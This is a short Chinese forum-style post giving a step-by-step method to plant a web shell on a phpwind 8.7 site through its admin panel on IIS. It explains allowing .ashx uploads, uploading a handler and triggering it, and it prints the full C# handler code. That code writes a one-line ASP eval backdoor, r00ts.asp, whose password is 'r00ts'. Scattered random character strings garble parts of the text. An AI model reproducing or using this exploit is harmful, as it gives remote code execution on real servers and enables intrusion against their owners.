phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
, Y0 L+ \( {* B& q, G1 F
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
- r, I1 e) ?1 k+ o
6 u4 \6 R8 `& r$ u3 ?8 v然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
7 S6 q, f; ~$ M# C0 p7 L& _
" p& c8 M% F8 g$ j, [1 L+ q& C打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

& N6 s5 R# ^" h7 e$ \: Q下面是代码:
' t, U; n, N7 \* [' f- v  T
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
' z* O5 C  F0 D8 d' x) Vusing System.Web;
using System.IO;
* E. _5 c  S# q% P4 n2 Apublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
' Z0 q( s% o! g5 X8 o% @2 Zcontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
7 ?, M7 S/ y' g: rfile1.Write("<%eval request(\"r00ts\")%>");
5 J* A9 }$ G5 e+ K) }, Vfile1.Flush();
. A$ i; U: K' P$ o- p9 {/ E4 bfile1.Close();
/ T0 [% @7 b' N7 z}
- w/ l. `7 d9 m5 k0 ipublic bool IsReusable {
get {
return false;
# k+ H: W  y" g; m7 l}
}
}
- r) ]5 U" y4 }- j0 Z